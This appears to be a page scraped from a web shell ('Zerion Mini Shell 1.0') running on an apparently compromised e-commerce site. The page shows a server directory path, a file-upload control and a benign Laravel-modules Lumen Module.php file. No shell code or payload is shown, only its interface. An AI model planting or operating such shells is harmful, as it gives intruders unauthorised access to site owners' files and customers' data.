ok

Mini Shell

Direktori : /home2/selectio/www/ecommerce-website/website/vendor/nwidart/laravel-modules/src/Lumen/
Upload File :
Current File : /home2/selectio/www/ecommerce-website/website/vendor/nwidart/laravel-modules/src/Lumen/Module.php

<?php

namespace Nwidart\Modules\Lumen;

use Illuminate\Support\Str;
use Nwidart\Modules\Module as BaseModule;

class Module extends BaseModule
{
    /**
     * {@inheritdoc}
     */
    public function getCachedServicesPath(): string
    {
        return Str::replaceLast('services.php', $this->getSnakeName() . '_module.php', $this->app->basePath('storage/app/') . 'services.php');
    }

    /**
     * {@inheritdoc}
     */
    public function registerProviders(): void
    {
        foreach ($this->get('providers', []) as $provider) {
            $this->app->register($provider);
        }
    }

    /**
     * {@inheritdoc}
     */
    public function registerAliases(): void
    {
    }
}

Zerion Mini Shell 1.0